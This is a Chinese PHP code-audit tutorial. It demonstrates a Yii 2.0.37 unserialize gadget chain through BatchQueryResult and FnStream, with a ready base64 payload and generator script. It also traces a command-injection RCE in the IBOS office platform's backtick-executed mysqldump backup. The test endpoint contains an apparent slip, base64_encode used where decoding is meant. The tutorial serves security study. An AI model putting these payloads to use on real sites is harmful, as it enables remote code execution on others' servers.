PHP代码审计9-框架-YII-反序列化 #
国外很多YII,国内PHP一般都是TP 80%
案例一:YII源码 #
YII用phpstudty搭建的话指向里面的WEB目录
然后在config里面web.php给cookie随便写一个密钥上去
比如:abcdefg1234567890abcdefg12345678
搭建完成如下
YII的代码方法是action开头的加上后面如 actionContact 你在URL访问不能加action
/index.php?r=site%2Fabout 这是我访问about界面的URL对应代码位置是
所以加入我新建一个接口按照改就行了
<?php
namespace app\controllers;
use yii\web\Controller;
class StarruiController extends Controller{
public function actionTiantian()
{
return "dude";
}
}
注意action后面要大写开头不要访问不到哦
则变为/index.php?r=starrui/tiantian
如果加了参数呢就用&
public function actionTiantiany($dude)
{
return $dude;
}
index.php?r=starrui/tiantiany&dude=php
反序列化 #
假设有下面这种反序列化可控点
public function actionTiantianx($dude)
{
return unserialize(base64_encode($dude));
}
判断YII版本
搜索getversion找到版本
public static function getVersion()
{
return '2.0.37';
}
先给POC
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ==
<?php
// 显示错误信息,方便调试
namespace{
ini_set('display_errors', 1);
error_reporting(E_ALL);
}
// 1. 定义GuzzleHttp\Psr7\FnStream类
namespace GuzzleHttp\Psr7 {
class FnStream {
public $_fn_close = 'phpinfo'; // 使用public修饰符,确保可序列化
}
}
// 2. 定义yii\db\BatchQueryResult类(不依赖Yii框架)
namespace yii\db {
use GuzzleHttp\Psr7\FnStream; // 导入FnStream类
// 移除Yii的BaseObject继承,改为普通类
class BatchQueryResult {
private $_dataReader;
public function __construct() {
// 正确初始化属性(使用->操作符)
$this->_dataReader = new FnStream();
}
}
}
// 3. 全局命名空间:执行序列化和输出
namespace {
use yii\db\BatchQueryResult;
try {
// 实例化对象
$batchResult = new BatchQueryResult();
// 序列化并Base64编码
$serialized = serialize($batchResult);
$base64Str = base64_encode($serialized);
// 输出结果
echo "序列化并Base64编码的结果:\n";
echo $base64Str;
} catch (Exception $e) {
echo "执行错误:" . $e->getMessage();
}
}
原理是搜索__destruct
到了
BatchQueryResult里面的reset调用了close 我们就要改变close 这方法怎么改变的因为_dataReader我们就可以让他new一个可以代码执行的类里面有close就找到了
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
这个类
class FnStream
public function close()
{
return call_user_func($this->_fn_close);
}
案例二:IBOS办公平台源码 #
RCE后台代码执行 #
先看效果
/?r=dashboard/default/index
先说PHP的特性 calc; 可以执行出RCE代码 两个``
如下面所示
system/core/utils/Database.php
找到可控制的值
$filename->$backupFileName->$dumpFile
databaseBackup方法
`{$mysqlBin}mysqldump --force --quick {$command1} --add-drop-table {$command2} {$command3} --host="{$db['host']}" {$command5} --user="{$db['username']}" --password="{$db['password']}" "{$db['dbname']}" {$tablesstr} > {$dumpFile}`;
system/modules/dashboard/controllers/DatabaseController.php调用了这个方法
public function actionBackup()
{
$formSubmit = Env::submitCheck('dbSubmit');
$type = $msg = $url = '';
$param = array();
if ($formSubmit) {
$status = Database::databaseBackup(); 这里
extract($status);
$type = '';
if (!empty($type)) {
还要注意开启shell备份